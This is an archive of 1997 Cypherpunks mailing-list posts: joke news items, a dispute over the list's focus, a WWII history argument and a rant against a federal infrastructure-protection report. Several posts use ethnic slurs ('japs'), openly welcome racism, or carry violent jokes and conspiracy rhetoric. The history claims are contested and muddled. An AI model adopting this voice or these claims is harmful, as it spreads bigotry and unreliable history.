 Send a message to notw-request@nine.org with the
Subject line of Subscribe.  
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:34:30 +0800
To: cypherpunks@toad.com
Subject: Ma Bell
Message-ID: <347D530B.6B10@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In April, the National Olympic Committee of the Caribbean island
nation of St. Vincent and the Grenadines suspended its Olympic
coach Orde Ballantyne for four years after his mother ratted him
out.  She was head of the country's delegation at the Summer
Games in 1996 and reported him for violating protocol by refusing
to stand for the U. S. national anthem. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Send a message to notw-request@nine.org with the
Subject line of Subscribe.  
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:34:28 +0800
To: cypherpunks@toad.com
Subject: Ma May
Message-ID: <347D535A.48A1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In August in Leesburg, Fla., a 28-year-old woman, in the midst of
a domestic quarrel with her husband, 29, ordered the couple's two
kids, ages 6 and 8, to shoot their father with their BB guns.  The
kids complied, resulting in five chest wounds, one arm wound, and
one cheek wound.  The woman is a dispatcher for the Leesburg
Police Department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 20:16:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Moderated vs. Unmoderated Lists
In-Reply-To: <199711270525.GAA01200@basement.replay.com>
Message-ID: <347D5F77.5428@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> The issue is not moderation.  It is whether this list has a focus, a
> central set of ideas, a reason for existence.  If we're just going to
> talk about whatever anyone finds interesting, there is nothing to stop
> the list from drifting away from its goals.

  Or from moving toward its ghouls!

> There is little discussion about cryptography any more.

  OK, which one of you is the wise-guy who told Anonymous that he or
she can't send posts about cryptography to the list?

  Anonymous (if that is your *real* name...), many of us on the list
have been anxiously awaiting a Savior to arrive on the list and begin
discussing cryptography.
  We were hoping maybe it was you, but it looks like we were wrong
again.

StillWaitingMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 27 Nov 1997 13:47:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Moderated vs. Unmoderated Lists
Message-ID: <199711270525.GAA01200@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The issue is not moderation.  It is whether this list has a focus, a
central set of ideas, a reason for existence.  If we're just going to
talk about whatever anyone finds interesting, there is nothing to stop
the list from drifting away from its goals.

In fact, that is exactly what has happened.  Tim May's violent rhetoric
has attracted others who believe in violence.  Vulis's racist and sexist
comments have brought other members who are comfortable expressing
negative comments about other races and nationalities.  There is little
discussion about cryptography any more.

Tim May:

>This has crypto anarchy relevance in that strong crypto will undermine the
>ability of the U.S. government to fight foreign wars and engange in foreign
>entanglements. How this will happen should be obvious.

What difference does it make whether it has crypto anarchy relevance?
No one cares about that any more.  The only thing that matters today
is whether it includes crypto racism, or crypto terrorism, or crypto
white supremacy.

> Yes, I talk about what interests me. A single essay I _write_ represents my
> views. I avoid cc:ing the list with forwarded stuff from Yahoo, as some are
> wont to do.
>
> Thus, I feel no guilt about writing some essay or article on something of
> interest to me.

Writing off-topic essays isn't the problem.  Posting them here is.  Why
don't you use alt.fan.oj-simpson for your racist rants like you used to?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 27 Nov 1997 22:13:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711271414.IAA26461@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Further costs of war (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Wed, 26 Nov 97 23:55:33 EST

> This has no crypto relevance.

Actualy it does, it's just that the reason for this discussion has escaped
your blipvert mentality. The reason this is relevant was the claim made by
others that had the US *not* entered WWII then the situation would be
significantly different than now. In particular it would be a more positive
results. I draw exception to this and am willing to debate the point.

> The japs didn't join the axis out fo the blue. The US was picking on the Japs
> back at the Washington conference in 1921/2,

It's interesting that as a direct results of this conference the Japanese
took the time to put down their plans to secure (ie take over) the western
Pacific. It relied on their typical "Great All-out Battle" strategy. An
important point in this strategy was luring the US fleet into Japanese
waters and defeating it.

> he bulding up the navy, building new bases on Hawaii, Guam, Midway, Samoa,
> etc, (in violation of the Washington conference), grabbing small pacific
> islands that no one claimed before (jervis, Howland, Phoebe, Palmira).

Actualy most of these islands were originaly Dutch, German, or Spanish.
For example, the Philipines were Spanish.

[data deleted]

Vulis, this hasn't dawned on you yet but none the less, you are actualy
agreeing with my position that it isn't possible for the US to have kept
out of the war. The other participants simply didn't have the resources or
the system to organize them with otherwise.

> > period. Can't say that I've ever seen this issue in anything I've read.
> 
> According to my books, the US stopped all Jap immigration into US and its
> possession (i.e. Hawaii, Philippines, ec) as of May 1, 1925.

Which books Vulis, books you have access to or books that you wrote? I made
a request for more specificity. Which books in particular are you refering
to? Further, for this to be relevant you must show that it was a change of
state that mitigated the Japanese actions in some way. That last proviso is
the bear...


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Nov 1997 22:22:18 +0800
To: cypherpunks@toad.com
Subject: Re: Moderated vs. Unmoderated Lists
In-Reply-To: <199711270525.GAA01200@basement.replay.com>
Message-ID: <TZXTge17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <nobody@REPLAY.COM> writes:

> h                                              Vulis's racist and sexist
> comments have brought other members who are comfortable expressing
> negative comments about other races and nationalities.

I'm glad to hear that my words have caused others to reject self-censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 27 Nov 1997 22:50:38 +0800
To: Comments@pccip.gov
Subject: Protecting America's Infrastructures
In-Reply-To: <347D6AA3.3BA5@dev.null>
Message-ID: <347D83E4.4FE2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>                               25 November 1997
>         Source: http://www.access.gpo.gov/su_docs/aces/aces140.html
> ----------------------------------------------------------------------------
> [Federal Register: November 25, 1997 (Volume 62, Number 227)]
> =======================================================================
> Critical Foundations: Protecting America's Infrastructures
> AGENCY: Department of Commerce.
> ACTION: Notice of availability and request for comments.
> -----------------------------------------------------------------------

> A Statement of the Problem
> 
>     Certain national infrastructures are so vital that their incapacity
> or destruction would have a debilitating impact on the defense or
> economic security of the United States. 

What are the names of the public officials and employees who are
stepping forward to accept responsibility for allowing the defense
of the United States' physical and economic security to become 
vulnerable to destruction and debilitation?
Will there be mass resignations, as a result of those in authority
allowing this problem to develop?

> These critical infrastructures
> include telecommunications, electrical power systems, gas and oil
> storage and transportation, banking and finance, transportation, water
> supply systems, emergency services (including medical, police, fire,
> and rescue), and continuity of government services. 

It sounds like fascist elements within the government have defined
the problem in a manner which will justify oppressive government
and corporate control of everything that its citizens need in order
to survive.

> Threats to these
> critical infrastructures fall into two categories: physical threats to
> tangible property (``physical threats''), and threats of electronic,
> radio-frequency, or computer-based attacks on the information or
> communications
> components that control critical infrastructures (``cyber threats'').

There are many more threats which seem to be self-servingly going
unmentioned.
Compromise of strong security by government interference.
Government mandating of a 'single point of failure' in electronic
  techno-systems, in the rush to legislate and regulate the power
  of the government to monitor and control all human communications
  and interactions on the face of the earth.
Government promotion of funneling everybody's electronic future into
  the same sticky web as the government's future, with the aim of
  forced march to Electronic Battan. (i.e. - putting Electronic
  day-care centers in government Electronic buildings.)

> Because many of these critical infrastructures are owned and operated
> by the private sector, it is essential that the government and private
> sector work together to develop a strategy for protecting them and
> assuring their continued operation.

No it is not! It is not particularly essential unless the goal is to
  work toward a fascist wedding of corporate and government interests.
Does this "strategy for protecting them" involve corporations being
  armed similarly to government armed forces, or are the plans already
  in place designed to increase the armed government presence within
  corporations?

> Mission
> 
> ... recommend a comprehensive national policy and
> implementation strategy for protecting critical infrastructures and
> assuring their continued operation; and propose any statutory or
> regulatory changes necessary to effect its recommendations.

So the basic plan was to develop critical infrastructures which
  would be accessible to teeNintendoage hackers and adults who enjoy
  sex, and then criminalize their behavior as a national threat?
Did nobody notice if the rocket scientists promoting this scheme
  of Electronic Reality were all wearing Swastikas?

> Overview of the Report's Findings
> 
>     1. New Thinking is Required in Cyberspace. It is not surprising
> that infrastructures have always been attractive targets for those who
> would do us harm. In the past we have been protected from hostile
> attacks on the infrastructures by broad oceans and friendly neighbors.
> Today, the evolution of cyber threats has changed the situation
> dramatically. In cyberspace, national borders are no longer relevant.

Is this why the government is so desperate in its headlong rush 
to *make* its citizens physical and financial security dependent
on government control of cyberspace?

>     Formulas that carefully divide responsibility between foreign
> defense and domestic law enforcement no longer apply as clearly as they
> used to and, in some instances, you may have to solve the crime before
> you can decide who has the authority to investigate it.

Or to shoot the Electronic goat-herding children.

>     2. We Should Act Now to Protect our Future. The Commission has not
> discovered an imminent attack or a credible threat sufficient to
> warrant a sense of immediate national crisis. However, the Commission
> found that our vulnerabilities are increasing steadily while the costs
> associated with an effective attack continue to drop. The investments
> required to improve the situation are still relatively modest, but will
> rise if we procrastinate.

Is the Commission naming the names of government officials and the
  government employees who are responsible for the defense of the
  United States falling into such a dismal state of vulnerability?
Is the solution to replace all of the government officials, employees
  and regulators who allowed this situation to develop?

>     3. Infrastructure Assurance is a Shared Responsibility. National
> security requires much more than military strength. While no nation
> state is likely to invade our territory or attack our armed forces, we
> are inevitably the target of ill will and hostility from some quarters.
> Disruption of the services on which our economy and well-being depend
> could have significant effects, and if repeated frequently, could
> seriously harm public confidence. 

This sounds like it makes a good case for the formation of an
  Electronic security version of our armed forces to monitor and
  control all of CyberSpace.

> Because our military and private
> infrastructures are becoming less and less separate, because it is
> getting harder to differentiate threats from local criminals from those
> from foreign powers, and because the techniques of protection,
> mitigation, and restoration are largely the same, we conclude that
> responsibility for infrastructure protection and assurance can no
> longer be delegated on the basis of who the attacker is or where the
> attack originates. Rather, the responsibility should be shared
> cooperatively among all of the players.

This sounds like a good case for treating all criminals, local and
  global, with the same iron hand of the military that we would use
  to counter threats from foreign powers. Does this mean that Jim
  Bell and Kevin Mitnick will be hung for treason?
Will this 'sharing of responsibility' among "all of the players"
  involve restructuring governments and societies into a...how
  shall I put this...NEW WORLD ORDER?

> Overview of the Report's Recommendations
> 
>     1. A Broad Program of Education and Awareness.

Spread Fear/Uncertainty/Disinformation?
Send me a job application!

>     2. Infrastructure Protection through Industry Cooperation and
> Information Sharing. Sector-by-sector cooperation and information
> sharing would take place in the context of partnerships between owners
> and operators and government. 

Send Mussolini a job application!

> These partnerships would identify and
> share best practices. The National Institute of Standards and
> Technology, the National Security Agency, and the Department of
> Energy's National Laboratories would provide technical skills and
> expertise required to identify and evaluate vulnerabilities in the
> associated information networks and control systems. 

These are the fucking idiots who were supposed to already be doing
  these things, and they are the ones who got the nation into this
  current state which you are claiming is so dismal and dangerous.
If these dweebs haven't been able to access the ClueServer up to
  now, it is unlikely they will be able to do so in the future.

>     3. Reconsideration of Laws Related to Infrastructure Protection.
> Some laws capable of promoting infrastructure assurance efforts are not
> as clear or effective as they could be. Others operate in ways that may
> be unfriendly to security concerns. Sorting them all out will be a
> lengthy and complex undertaking, involving efforts at local, state,
> federal, and international levels. The report identifies specific
> existing laws that could be modified to support infrastructure
> protection.

The mountains of laws that have criminalized the majority of our
  citizens have not been effective in preventing our society from
  becoming a dangerous place, but additional laws, criminalizing
  even more citizens and their activities will? Right...
How many more laws will be required to compensate for the bad 
  and useless laws?

>     4. A Revised Program of Research and Development.

More government.

>     5. A National Organization Structure
MORE GOVERNMENT!
>     Office of National Infrastructure Assurance
MORE GOVERNMENT!
>     Infrastructure Assurance Support Office
MORE GOVERNMENT!
>     Information Sharing and Analysis Center
MORE GOVERNMENT!
>     National Infrastructure Assurance Council
MORE GOVERNMENT!
>     Lead Agencies
MORE GOVERNMENT!
>     Sector Coordinators 
MORE GOVERNMENT!
>     Warning Center
MORE GOVERNMENT!

> William Reinsch,
> Under Secretary of Commerce, Bureau of Export Administration.

                                          \
Reinsch...that's 'German', isn't it? {;>)========< 
                                          /

Why don't you all save a lot of trees and electricity and just 
  declare martial law right now, instead of wasting everybody's
  time and energy attempting to justify a fascist future?

You've got all the guns. You've got the press in your pocket.
  You can't even be bothered with telling *good* lies, anymore.
  What the fuck is the point of some lame game of InfoWar designed
  to provide some imaginary justification for turning the whole
  world into one large prison complex?

Why don't the world leaders all get together and count up their
  weapons and then just distribute the citizens according to the
  results? Your spin-doctors can promote it as an act of mercy
  toward the citizens who will no longer have to die defending
  their imaginary freedom.

The Truth?
  "We the people" already know that our predestined future is to
  serve in slavery under a fascist New World Order run by our
  government and corporate rulers.
  We're just pretending we don't know where society is headed, in
  order to trick you into moving more slowly. Pretty ironic, eh?

But what the hell...
If it saves the life of that single child everyone seems to be
  so worried about...
  (Personally, I think we should just 'whack' the little fucker.)

TruthMonger
~~~~~~~~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn
"The CypherPunks Secret Conspiracy to Overthrow All World Governments"
http://www3.sk.sympatico.ca/carljohn/AP1-6.htm
http://www3.sk.sympatico.ca/carljohn/AP7-10.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 27 Nov 1997 23:33:18 +0800
To: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Subject: Re: Newsflash
In-Reply-To: <WIN2359-971127124334-5D70*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
Message-ID: <347D857F.202A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:
> 
> The European Commission today adopted a proposal for an Action 
> Plan on promoting safe use of the Internet.

Tomorrow they will be adopting a proposal for an Action Plan on
promoting safe use of thought.

> The Action Plan is the follow up of earlier initiatives by the 
> European Union, and refers directly to the 16 October 1996 
> Communication on Illegal and Harmful Content on the Internet 
> and Green Paper on Protection of Minors and Human Dignity in 
> Audiovisual and Information Services , and the Parliament 
> resolutions of 24 April 1997 and 24 October 1997.

AKA - the Thought Police action plan

> The Action Plan contains action lines on creating a safe 
> environment through establishing a European network of 
> hot-lines and industry self-regulation, developing filtering 
> and rating systems and awareness action.

Don't tell me, let me guess...Volumandatory self-regulation?

> The text in English is available online at http://www2.echo.lu/legal/en/internet/actplan.html. 
> Other language versions will be available shortly.

Bring your own barf bag...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Nov 1997 22:25:12 +0800
To: cypherpunks@toad.com
Subject: Re: USACM Crawls Off the Ivory Tower
In-Reply-To: <347D4940.69C3@dev.null>
Message-ID: <NeyTge19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



CypherPunks Press <cp@dev.null> writes:
> Golly, now we have Dr.'s named something other than Vulis figuring
> out that WYSIWYG is not in the government specifications.

Did somebody say "Dr. Atila T. Hun"?  Not to mention Dr. Fred Cohen.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 27 Nov 1997 15:48:51 +0800
To: cypherpunks@Algebra.COM
Subject: telnetd/sshd for NT Alpha?
Message-ID: <Pine.BSF.3.96.971127084015.26647A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



I am looking for a *stable* telnetd or sshd for NT Alpha. Free if
possible, commercial if need be.

Thanks,

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 27 Nov 1997 22:39:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711271446.IAA26608@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Further costs of war (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Wed, 26 Nov 97 22:40:54 EST

> This has little crypto relevance (unless someone drags in the fact that
> some of the important ww2 naval battles were won by the us because they
> broke jap codes).

WARNING: blipvert mentality

> In 1904/5 (what's a couple of years between punks) the japs beat the shit out
> of the tzar, not Stalin, because of the tzarist army's supreme incompetence,
> and also because of severe internal unrest in Russia (general strikes and
> uprisings everywhere).

It was still Russia. The claims of incompetence and internal unrest apply to
both regimes. Is there some point you wish to review regarding this point?

> Prior to that, the japs effectively beat Russia in 1875(?).

Actualy, the Russians never beat the Japanese prior to Khalkal Gol.

[deleted material, relevance unclear]

> At lake Khasan (near the short Soviet-Korean border) the Japs demanded
> (July/August, 1938) that the Soviets turn over some strategic hills, which
> would have made a future attack on Vladivostok easier.  Then the japs
> just sent some troops to occupy the hills; it took the Soviets almost 2
> weeks to re-take them, which can be explained both by their incompetence
> and by Blyukher working for the japs. Jap casualties were 650 dead and
> 2500 woulnded.

This was the battle of Chankufeng Hill (1938). My sources indicate the
casualties were approx. 10,000 on each side.

> Jap casualties were much higher at Khalkhin Gol. Strategically, the Japs were
> trying to occupy a chunk of Mongolia that would allow them to cut off the
> only railroad linking the Soviet far east with the rest of Siberia (which
> passes right next to the Chinese border). The japs were bombarding the
> disputed area of Mongolia in January-April 1939; invaded in May, and were
> kicked out by the Soviet troops, led by Zhukov (note the correct spelling)
> in late August. Their casualties were 55K, 25K of which were killed.

But(!), the relevant point of this conflict is one simple point. The
Russians didn't re-inforce *or* launch their counter-attack until *after*
Sorge had assured the Russians that the Japanese would *not* re-inforce
themselves (which they didn't). Further, it is important to note that Zhukov
employed a massively superior force, including weapons, the likes of which
had never been employeed by the Russians before. In addition, Zhukov is
notable not for his strategic sense but his tenacity, he didn't care about
casualties and did not withdraw once forces were committed. Even though it
was clear that the Japanese would have withdrawn because of lack of
reinforcements. It was a show battle from the military perspective.

[deleted material, relevance unclear]

> They recognized that they could have occupied Vladivostok in 1938 if
> they had really tried; but eventually Russian reinforcements would
> come and there would be hell to pay. Stalin demonstrated that unlike the
> tzars he was willing to put up a fight over this relatively worthless
> real estate.

Only after he was shure that the Japanese wouldn't contest it.

> Technically speaking, Moscow did fall. :-)

Militarily speaking Moscow didn't fall. :-) There was no battle. The course
taken by the Tzars in dealing with Moscow was a political move that would
actualy provide them with more return than an actual battle. Remember,
Moscow was the fort (ala Kremli), the capital was St. Petersburg. This
strategy was discussed and discarded by Stalin as being politicaly
unworkable.

> By Oct 16, 1941, everyone and
> everything were evacuated from Moscow, down to Lenin's mummy, and the Germans
> could have walked in if they wanted to.

Actualy they did walk in. Napolean spent six weeks at the Kremli before
realizing the folly of his misunderstanding. He was waiting on the Tzarist
forces fro St. Petersburg. By that time 3/4 of Moscow had been burned to the
ground.

> The Germans chose not to march in
> because they feared mines and booby traps they encountered earlier in Kiev
> (probably correct, too). While they waffled, Russian reinforcements arrived
> from Siberia and drove them off.

The Cossacks didn't arrive until shortly *after* the French began moving
their van out of Moscow.

> Mussolini's bloody invasion of Ethiopia was mostly a revenge for the
> previous invasion by Italy which ended in a humiliating defeat.

But it's irrelevant to this discussion.

> I'd venture to say that other Hitler allies (Hungary, Romania, Bulgaria)
> viewed him as a lesser eveil and didn't like him at all.

Irrelevant to this discussion as well.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Nov 1997 01:35:09 +0800
To: cypherpunks@toad.com
Subject: For whom the Bell is sentenced...
Message-ID: <347DAAAD.5F05@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



I have come to believe that "assassination politics" is a political 
Rorschach (ink-blot) test: What you think of it is strongly related 
to your political philosophy.
~ Jim Bell, "Assassination Politics"

  It's a shame that Bell wasn't prosecuted and judged by people with
a clearer conscience and more a more democratic political philosophy.

  Why are people invariably under the impression that it is someone
other than themself that is putting them on The List (TM)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Nov 1997 02:09:21 +0800
To: cypherpunks@toad.com
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711271446.IAA26608@einstein.ssz.com>
Message-ID: <0Z6Tge22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



The following has zero crypto relevance.

Jim Choate <ravage@ssz.com> writes:

> > In 1904/5 (what's a couple of years between punks) the japs beat the shit o
> > of the tzar, not Stalin, because of the tzarist army's supreme incompetence
> > and also because of severe internal unrest in Russia (general strikes and
> > uprisings everywhere).
>
> It was still Russia. The claims of incompetence and internal unrest apply to
> both regimes. Is there some point you wish to review regarding this point?

My point was that Russia might have negotiated a better peace at Portmouth, NH,
if it wasn't forced to stop fighting by the general strike.

> > Prior to that, the japs effectively beat Russia in 1875(?).
>
> Actualy, the Russians never beat the Japanese prior to Khalkal Gol.
>
> [deleted material, relevance unclear]

Actually, the Russians forced the japs out of port arthur in 1895 and took
it for themselves. But most times their strategy was to avoid conflict and
to let the japs take whatever japs wanted, such as Hokkaido.

> > At lake Khasan (near the short Soviet-Korean border) the Japs demanded
> > (July/August, 1938) that the Soviets turn over some strategic hills, which
> > would have made a future attack on Vladivostok easier.  Then the japs
> > just sent some troops to occupy the hills; it took the Soviets almost 2
> > weeks to re-take them, which can be explained both by their incompetence
> > and by Blyukher working for the japs. Jap casualties were 650 dead and
> > 2500 woulnded.
>
> This was the battle of Chankufeng Hill (1938). My sources indicate the
> casualties were approx. 10,000 on each side.

Sigh. My (Russian) sources refer to the incident as lake Khasan, and to the
hills by their Russian names: (vysoty) Zaozernaya and Bezymyannaya.  Your
attempts to refer to Russian hills by their Korean names are a sure sign
russophobia and racism.

(I have excellent maps of both battles, but no scanner.)

> > Jap casualties were much higher at Khalkhin Gol. Strategically, the Japs we
> > trying to occupy a chunk of Mongolia that would allow them to cut off the
> > only railroad linking the Soviet far east with the rest of Siberia (which
> > passes right next to the Chinese border). The japs were bombarding the
> > disputed area of Mongolia in January-April 1939; invaded in May, and were
> > kicked out by the Soviet troops, led by Zhukov (note the correct spelling)
> > in late August. Their casualties were 55K, 25K of which were killed.
>
> But(!), the relevant point of this conflict is one simple point. The
> Russians didn't re-inforce *or* launch their counter-attack until *after*
> Sorge had assured the Russians that the Japanese would *not* re-inforce
> themselves (which they didn't). Further, it is important to note that Zhukov
> employed a massively superior force, including weapons, the likes of which
> had never been employeed by the Russians before. In addition, Zhukov is
> notable not for his strategic sense but his tenacity, he didn't care about
> casualties and did not withdraw once forces were committed. Even though it
> was clear that the Japanese would have withdrawn because of lack of
> reinforcements. It was a show battle from the military perspective.

Russians had an overwhelming superiority in tanks (498, plus 346 armored
vehicles, to 120 jap tanks and no armored vehicles). Other than that,
Russian superiority wasn't that overwhelming: 581 Russian airplanes to
450 jap airplanes etc is not exactly "overwhelming air superiority"
on Aug 20.

As for timing: according to my sources, the japs made several raids between
May 11 and 26, but didn't try to stay on Mongol territory. On may 28, 2500
japs (much of it cavalry) invaded and were driven out within 2 days by the
Soviet troops already there, before Zhukov's arrival (thanks for spelling his
name right). After accummulating reinforcements for a month, the japs attacked
again on July 2 to 11, but were stopped. Finally on July 23-25 they managed to
penetrate Soviet defences and occupied a wedge of strategic Mongol territory
on the eastern bank of Khalkhin Gol river. (They were stopped to the south.
Anyone who saw the front line would think of cutting them off.) The Soviets
then brought in more forces for a month, in particular a large quantity of
tanks. On August 20, they attacked from the north and the south, and by August
23 they had the 6th jap army surrounded and separated into several groups.
Japs attempted to relieve the 6th army by sending more troops from Khailar,
which were immediately engaged and destroyed as they arrived Aug 24-26. The
remains of the surrounded 6th army were liquidated by aug 31. The japs
undertook several more attacks in the first half of september, and signed an
armistice on Sept 16.

I see no indication that the delay of 1 month between the Japanese incursion
on July 23 and the Soviet offensive on August 20th needs any more "explaining"
then the jap delay between the failed invasion on May 28 and the attacks in
July.

As for casualties, I have 55K japs (25K dead) vs. 9824 Soviets, which seems
plausible given that the japs were surrounded and unwilling to surrender.

As for the innovative use of tanks by Zhukov, remember that tanks were already
in wide use in 1939, and remember also who trained the nazi panzer troops
while they couldn't do it in germany under the versailles treaty. This was
happening while Germans and Soviets were invading Poland, while France and GB
declared war on Germany, and while Soviets were about to attack Finland.

> > They recognized that they could have occupied Vladivostok in 1938 if
> > they had really tried; but eventually Russian reinforcements would
> > come and there would be hell to pay. Stalin demonstrated that unlike the
> > tzars he was willing to put up a fight over this relatively worthless
> > real estate.
>
> Only after he was shure that the Japanese wouldn't contest it.

It was a centuries-old poker game, in which the tzars always folded (going
back to the Nerchinsk treaty of 1699, when they turned over to the Manchurians
huge tracts of land to avoid a possible conflict with China), and Stalin
decided to call the japs' bluff for once, and the japs folded.

> > Technically speaking, Moscow did fall. :-)
>
> Militarily speaking Moscow didn't fall. :-) There was no battle. The course
> taken by the Tzars in dealing with Moscow was a political move that would
> actualy provide them with more return than an actual battle. Remember,
> Moscow was the fort (ala Kremli), the capital was St. Petersburg. This
> strategy was discussed and discarded by Stalin as being politicaly
> unworkable.

Ahem. I was talking about Hitler in 1941, not Napoleon in 1812. (Both fucked
up the psyops and alienated the popuilation which could have viewed them as
their liberators, but that's a different thread altogether.)

Militarily speaking, by oct 16 Moscow was evacuated and useless to the
Soviets.

> > By Oct 16, 1941, everyone and
> > everything were evacuated from Moscow, down to Lenin's mummy, and the Germa
> > could have walked in if they wanted to.
>
> Actualy they did walk in. Napolean spent six weeks at the Kremli before
> realizing the folly of his misunderstanding. He was waiting on the Tzarist
> forces fro St. Petersburg. By that time 3/4 of Moscow had been burned to the
> ground.

Learn to read. I was talking about Hitler's troops in October 1941. The road
to Moscow was clear, but the Germans didn't walk in.

> > The Germans chose not to march in
> > because they feared mines and booby traps they encountered earlier in Kiev
> > (probably correct, too). While they waffled, Russian reinforcements arrived
> > from Siberia and drove them off.
>
> The Cossacks didn't arrive until shortly *after* the French began moving
> their van out of Moscow.

I'm talking about 1941! Stalin decided to assume that the japs wreen't going
to attack, so he brought in fresh troops from Siberia. By the way I feel that
from the game theortic point of view, if he knew nothing about jap intentions
(i.e., no Richard Sorge), they the right strategy would have been to assume
that the japs were not going to attack; for if they did, he would have been
fucked anyway. With the assumptions that the japs wouldn't attack, he was able
to beat off the germans.

> > Mussolini's bloody invasion of Ethiopia was mostly a revenge for the
> > previous invasion by Italy which ended in a humiliating defeat.
>
> But it's irrelevant to this discussion.

Possibly.  I was responding to your (outright silly) claim that Mussolini
invaded Ethiopia to "impress" Hitler.

> > I'd venture to say that other Hitler allies (Hungary, Romania, Bulgaria)
> > viewed him as a lesser eveil and didn't like him at all.
>
> Irrelevant to this discussion as well.

Possibly.  I was responding to your (outright silly) claims.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Nelson <salesinfo@dandybars.com>
Date: Fri, 28 Nov 1997 01:35:11 +0800
To: cypherpunks@toad.com
Subject: Unique Wedding Mementos: Advertisement
Message-ID: <199711271658.LAA03681@www.cybermedia-inc.com>
